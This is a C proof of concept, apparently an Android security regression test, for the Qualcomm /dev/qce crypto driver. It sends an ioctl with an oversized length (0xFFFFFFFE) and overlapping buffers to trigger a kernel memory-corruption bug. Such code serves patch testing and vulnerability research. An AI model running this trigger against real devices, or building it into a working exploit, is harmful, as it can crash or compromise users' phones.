1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 18 #include <stdio.h> 19 #include <unistd.h> 20 #include <stdlib.h> 21 #include <sys/ioctl.h> 22 #include <sys/types.h> 23 #include <sys/stat.h> 24 #include <sys/mman.h> 25 #include <sys/wait.h> 26 #include <string.h> 27 #include <fcntl.h> 28 #include <limits.h> 29 #include <inttypes.h> 30 #include <errno.h> 31 32 #define QCEDEV_MAX_KEY_SIZE 64 33 #define QCEDEV_MAX_IV_SIZE 32 34 #define QCEDEV_MAX_BUFFERS 16 35 36 struct buf_info { 37 union { 38 uint32_t offset; 39 uint8_t *vaddr; 40 }; 41 uint32_t len; 42 }; 43 44 struct qcedev_vbuf_info { 45 struct buf_info src[QCEDEV_MAX_BUFFERS]; 46 struct buf_info dst[QCEDEV_MAX_BUFFERS]; 47 }; 48 49 struct qcedev_pmem_info { 50 int fd_src; 51 struct buf_info src[QCEDEV_MAX_BUFFERS]; 52 int fd_dst; 53 struct buf_info dst[QCEDEV_MAX_BUFFERS]; 54 }; 55 56 enum qcedev_oper_enum { 57 QCEDEV_OPER_DEC = 0, 58 QCEDEV_OPER_ENC = 1, 59 QCEDEV_OPER_DEC_NO_KEY = 2, 60 QCEDEV_OPER_ENC_NO_KEY = 3, 61 QCEDEV_OPER_LAST 62 }; 63 64 enum qcedev_cipher_alg_enum { 65 QCEDEV_ALG_DES = 0, 66 QCEDEV_ALG_3DES = 1, 67 QCEDEV_ALG_AES = 2, 68 QCEDEV_ALG_LAST 69 }; 70 71 enum qcedev_cipher_mode_enum { 72 QCEDEV_AES_MODE_CBC = 0, 73 QCEDEV_AES_MODE_ECB = 1, 74 QCEDEV_AES_MODE_CTR = 2, 75 QCEDEV_AES_MODE_XTS = 3, 76 QCEDEV_AES_MODE_CCM = 4, 77 QCEDEV_DES_MODE_CBC = 5, 78 QCEDEV_DES_MODE_ECB = 6, 79 QCEDEV_AES_DES_MODE_LAST 80 }; 81 82 struct qcedev_cipher_op_req { 83 uint8_t use_pmem; 84 union { 85 struct qcedev_pmem_info pmem; 86 struct qcedev_vbuf_info vbuf; 87 }; 88 uint32_t entries; 89 uint32_t data_len; 90 uint8_t in_place_op; 91 uint8_t enckey[QCEDEV_MAX_KEY_SIZE]; 92 uint32_t encklen; 93 uint8_t iv[QCEDEV_MAX_IV_SIZE]; 94 uint32_t ivlen; 95 uint32_t byteoffset; 96 enum qcedev_cipher_alg_enum alg; 97 enum qcedev_cipher_mode_enum mode; 98 enum qcedev_oper_enum op; 99 }; 100 101 #define QCEDEV_IOC_MAGIC 0x87 102 103 #define QCEDEV_IOCTL_ENC_REQ \ 104 _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req) 105 #define QCEDEV_IOCTL_DEC_REQ \ 106 _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req) 107 108 void thread_func(int fd) 109 { 110 struct qcedev_cipher_op_req req; 111 unsigned int i; 112 char *data; 113 114 memset(&req, 0, sizeof(struct qcedev_cipher_op_req)); 115 116 data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0); 117 if (data == MAP_FAILED) { 118 exit(0); 119 } 120 for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*)) 121 *((unsigned long long*)(data + i)) = 0xABADACC355001337; 122 123 req.in_place_op = 1; 124 req.entries = 2; 125 req.byteoffset = 15; 126 req.mode = QCEDEV_AES_MODE_CTR; 127 128 req.op = QCEDEV_OPER_ENC; 129 req.ivlen = 1; 130 req.data_len = 0xFFFFFFFE; 131 req.vbuf.src[0].len = 4; 132 req.vbuf.src[1].len = 0xFFFFFFFE - 4; 133 req.vbuf.src[0].vaddr = (uint8_t*)data; 134 req.vbuf.src[1].vaddr = (uint8_t*)data; 135 req.vbuf.dst[0].len = 4; 136 req.vbuf.dst[1].len = 0xFFFFFFFE - 4; 137 req.vbuf.dst[0].vaddr = (uint8_t*)data; 138 req.vbuf.dst[1].vaddr = (uint8_t*)data; 139 140 ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req); 141 142 exit(0); 143 } 144 145 int main(void) 146 { 147 int fd; 148 const char *dev = "/dev/qce"; 149 150 fd = open(dev, O_RDWR); 151 if (fd < 0) { 152 return EXIT_FAILURE; 153 154 } 155 thread_func(fd); 156 157 return EXIT_FAILURE; 158 } 159